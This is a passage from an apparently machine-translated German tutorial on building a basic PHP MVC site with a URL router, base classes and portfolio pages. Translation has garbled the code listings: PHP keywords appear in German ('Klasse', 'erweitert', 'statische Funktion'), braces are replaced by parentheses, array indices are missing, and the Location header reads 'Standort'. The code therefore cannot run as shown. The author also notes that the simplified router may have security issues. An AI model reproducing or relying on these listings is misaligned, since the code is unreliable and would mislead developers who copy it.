    Hier stellt „Kontakte“ den Controller dar, und „Feedback“ ist die Kontakt-Controller-Methode, die das Feedback-Formular usw. anzeigt. Wir werden im praktischen Teil auf dieses Thema zurückkommen.

    Es ist auch wichtig zu wissen, dass Sie mit den Routern vieler Web-Frameworks benutzerdefinierte URL-Routen (geben Sie an, was jeder Teil der URL bedeutet) und Regeln für deren Verarbeitung erstellen können.
    Jetzt haben wir genügend theoretisches Wissen, um in die Praxis überzugehen.

    2. Übung: Erstellen wir zunächst die folgende Datei- und Ordnerstruktur:


    Mit Blick auf die Zukunft werde ich sagen, dass die Kernklassen Model, View und Controller im Kernordner gespeichert werden.
    Ihre untergeordneten Elemente werden in den Verzeichnissen Controller, Models und Views gespeichert. Die Datei index.php ist der Einstiegspunkt in die Anwendung. Die Datei bootstrap.php initiiert das Laden der Anwendung, verbindet alle notwendigen Module usw.

    Wir werden der Reihe nach vorgehen; Öffnen wir die Datei index.php und füllen sie mit dem folgenden Code:
    ini_set("display_errors" , 1 ); require_once "application/bootstrap.php";
    Hier sollte es keine Fragen geben.

    Als nächstes gehen wir sofort zur Datei bootstrap.php:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Route::start(); //den Router starten
    Die ersten drei Zeilen enthalten derzeit nicht vorhandene Kerneldateien. Die letzten Zeilen enthalten die Datei mit der Router-Klasse und starten sie zur Ausführung durch Aufruf der statischen Startmethode.

    2.1. Implementieren eines URL-Routers Lassen Sie uns vorerst von der Implementierung des MVC-Musters abweichen und uns auf das Routing konzentrieren. Als ersten Schritt müssen wir den folgenden Code in .htaccess schreiben:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Dieser Code leitet die gesamte Seitenverarbeitung an index.php um, was wir brauchen. Erinnern Sie sich, dass wir im ersten Teil über Front Controller gesprochen haben?!

    Wir werden das Routing in einer separaten Datei route.php im Kernverzeichnis ablegen. In dieser Datei beschreiben wir die Route-Klasse, die Controller-Methoden ausführt, die wiederum den Seitenaufruf generieren.

    Inhalt der Datei route.php

    class Route ( statische Funktion start () ( // Controller und Standardaktion $controller_name = "Main" ; $action_name = "index" ; $routes = explosion("/" , $_SERVER ["REQUEST_URI" ]); // get den Controller-Namen if (!empty ($routes )) ( $controller_name = $routes ; ) // den Aktionsnamen abrufen if (!empty ($routes )) ( $action_name = $routes ; ) // Präfixe hinzufügen $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // Datei mit der Modellklasse verknüpfen (es darf keine Modelldatei vorhanden sein) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) ( include "application/models/" .$model_file ; ) // Datei einbinden mit der Controller-Klasse $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) ( include "application/controllers/" .$controller_file ; ) else ( /* es wäre richtig, hier eine Ausnahme auszulösen, aber der Einfachheit halber leiten wir sofort zur 404-Seite weiter */ Route::ErrorPage404(); ) // einen Controller erstellen $controller = new $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // die Controller-Aktion aufrufen $controller ->$action (); ) else ( // hier wäre es auch klüger, eine Ausnahme auszulösen Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ) ; header(" Standort:" .$host ."404" ); ) )


    Ich stelle fest, dass die Klasse eine sehr vereinfachte Logik implementiert (trotz des umfangreichen Codes) und möglicherweise sogar Sicherheitsprobleme aufweist. Dies geschah mit Absicht, denn... Das Schreiben einer vollwertigen Routing-Klasse verdient mindestens einen separaten Artikel. Schauen wir uns die wichtigsten Punkte an...

    Das globale Array-Element $_SERVER["REQUEST_URI"] enthält die vollständige Adresse, an die der Benutzer Kontakt aufgenommen hat.
    Zum Beispiel: example.ru/contacts/feedback

    Verwendung der Funktion explodieren Die Adresse ist in Komponenten unterteilt. Als Ergebnis erhalten wir den Namen des Controllers, im gegebenen Beispiel ist das Controller Kontakte und der Name der Aktion, in unserem Fall - Rückmeldung.

    Als nächstes werden die Modelldatei (das Modell fehlt möglicherweise) und die Controller-Datei, falls vorhanden, verbunden und schließlich wird eine Instanz des Controllers erstellt und die Aktion erneut aufgerufen, sofern sie in der Controller-Klasse beschrieben wurde.

    Wenn Sie also beispielsweise die Adresse aufrufen:
    example.com/portfolio
    oder
    example.com/portfolio/index
    Der Router führt die folgenden Aktionen aus:

  • schließt die Datei „model_portfolio.php“ aus dem Ordner „models“ ein, die die Klasse „Model_Portfolio“ enthält;
  • schließt die Datei „controller_portfolio.php“ aus dem Ordner „controllers“ ein, die die Klasse „Controller_Portfolio“ enthält;
  • erstellt eine Instanz der Controller_Portfolio-Klasse und ruft die darin beschriebene Standardaktion action_index auf.
  • Wenn der Benutzer versucht, auf die Adresse eines nicht vorhandenen Controllers zuzugreifen, zum Beispiel:
    example.com/ufo
    dann wird er auf die Seite „404“ weitergeleitet:
    example.com/404
    Das Gleiche passiert, wenn der Benutzer auf eine Aktion zugreift, die nicht im Controller beschrieben ist.2.2. Kehren wir zur MVC-Implementierung zurück. Gehen wir zum Kernordner und fügen wir drei weitere Dateien zur Datei route.php hinzu: model.php, view.php und controller.php


    Ich möchte Sie daran erinnern, dass sie Basisklassen enthalten werden, mit deren Schreiben wir jetzt beginnen werden.

    Inhalt der Datei model.php
    Klassenmodell (öffentliche Funktion get_data () ())
    Die Modellklasse enthält eine einzelne leere Datenabrufmethode, die in untergeordneten Klassen überschrieben wird. Wenn wir Nachkommenklassen erstellen, wird alles klarer.

    Inhalt der view.php-Datei
    class View ( //public $template_view; // hier können Sie die standardmäßige Gesamtansicht angeben. function generic ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // Array konvertieren Elemente in Variablen extract($data); ) */ include "application/views/" .$template_view ; ) )
    Es ist nicht schwer, die Methode zu erraten generieren soll eine Meinung bilden. Folgende Parameter werden ihm übergeben:

  • $content_file – Ansichten, die Seiteninhalte anzeigen;
  • $template_file – Vorlage, die allen Seiten gemeinsam ist;
  • $data ist ein Array, das Seiteninhaltselemente enthält. Normalerweise im Modell ausgefüllt.
  • Die Include-Funktion verbindet dynamisch eine allgemeine Vorlage (Ansicht), in die die Ansicht eingebettet wird
    um den Inhalt einer bestimmten Seite anzuzeigen.

    In unserem Fall enthält die allgemeine Vorlage Kopfzeile, Menü, Seitenleiste und Fußzeile, und der Seiteninhalt wird in einem separaten Formular enthalten sein. Auch dies geschieht der Einfachheit halber.

    Inhalt der Datei „controller.php“.
    Klassencontroller ( public $model ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
    Methode action_index– Dies ist die standardmäßig aufgerufene Aktion; wir werden sie überschreiben, wenn wir Nachkommenklassen implementieren.

    2.3. Implementierung der Nachkommenklassen Model und Controller, Erstellung von Views Jetzt beginnt der Spaß! Unsere Visitenkarten-Website wird aus folgenden Seiten bestehen:
  • heim
  • Dienstleistungen
  • Portfolio
  • Kontakte
  • Und auch – die „404“-Seite
  • Jede Seite verfügt über einen eigenen Controller aus dem Controller-Ordner und eine Ansicht aus dem Ansichten-Ordner. Auf einigen Seiten werden möglicherweise ein oder mehrere Modelle aus dem Modellordner verwendet.


    In der vorherigen Abbildung ist die Datei template_view.php separat hervorgehoben – es handelt sich um eine Vorlage, die für alle Seiten gemeinsames Markup enthält. Im einfachsten Fall könnte es so aussehen:
    heim
    Um der Site ein ansehnliches Aussehen zu verleihen, erstellen wir eine CSS-Vorlage und integrieren sie in unsere Site, indem wir die Struktur des HTML-Markups ändern und CSS- und JavaScript-Dateien verbinden:

    Am Ende des Artikels befindet sich im Abschnitt „Ergebnis“ ein Link zu einem GitHub-Repository mit einem Projekt, in dem Schritte zur Integration einer einfachen Vorlage unternommen wurden.

    2.3.1. Erstellen der Hauptseite Beginnen wir mit dem Controller controller_main.php, hier ist sein Code:
    Klasse Controller_Main erweitert Controller ( function action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
    In der Methode generieren Als Instanz der View-Klasse werden die Namen der Dateien der allgemeinen Vorlage und die Ansicht mit dem Seiteninhalt übergeben.
    Neben der Index-Aktion kann der Controller natürlich auch weitere Aktionen enthalten.

    Wir haben die allgemeine Ansichtsdatei zuvor überprüft. Betrachten Sie die Inhaltsdatei main_view.php:
    Willkommen zurück! OLOLOSHA TEAM ist ein Team erstklassiger Spezialisten auf dem Gebiet der Website-Entwicklung mit langjähriger Erfahrung im Sammeln mexikanischer Masken, Bronze- und Steinstatuen aus Indien und Ceylon, Flachreliefs und Skulpturen, die von Meistern Äquatorialafrikas aus fünf oder sechs Jahrhunderten geschaffen wurden vor...
    Dies enthält einfaches Markup ohne PHP-Aufrufe.
    Um die Hauptseite anzuzeigen, können Sie eine der folgenden Adressen verwenden:

    • Methoden von Bibliotheken, die Datenabstraktion implementieren. Zum Beispiel Methoden der PEAR MDB2-Bibliothek;
    • ORM-Methoden;
    • Methoden zum Arbeiten mit NoSQL;
    • usw.
    • Der Einfachheit halber werden wir hier keine SQL-Abfragen oder ORM-Anweisungen verwenden. Stattdessen emulieren wir reale Daten und geben sofort eine Reihe von Ergebnissen zurück.
      Platzieren Sie die Modelldatei model_portfolio.php im Modellordner. Hier der Inhalt:
      Klasse Model_Portfolio erweitert Model ( öffentliche Funktion get_data () ( return array (array ("Year" => "2012" , "Site" => "http://DunkelBeer.ru" , "Description" => "Werbeseite der dunkles Dunkelbier des deutschen Herstellers Löwenbräu, hergestellt in Russland von der Brauerei „SUN InBev.“ ), Array („Jahr“ => „2012“, „Standort“ => „http://ZopoMobile.ru“, „Beschreibung " => "Russischsprachiger Katalog chinesischer Telefone von Zopo basierend auf Android-Betriebssystem und Zubehör dafür.") // todo ) ) )

      Die Modell-Controller-Klasse ist in der Datei controller_portfolio.php enthalten, hier ist ihr Code:
      Klasse Controller_Portfolio erweitert Controller ( function __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Zu einer Variablen Daten Das von der Methode zurückgegebene Array wird geschrieben Daten bekommen was wir vorhin angeschaut haben.
      Diese Variable wird dann als Methodenparameter übergeben generieren, die außerdem enthält: den Namen der Datei mit der allgemeinen Vorlage und den Namen der Datei, die die Ansicht mit dem Seiteninhalt enthält.

      Die Ansicht mit dem Seiteninhalt befindet sich in der Datei portfolio_view.php.
      Portfolio

      Alle Projekte in der folgenden Tabelle sind fiktiv. Versuchen Sie also gar nicht erst, den bereitgestellten Links zu folgen.

      2024 | Computer für jedermann – Einrichtung, Installation, Wiederherstellung


      JahrProjektBeschreibung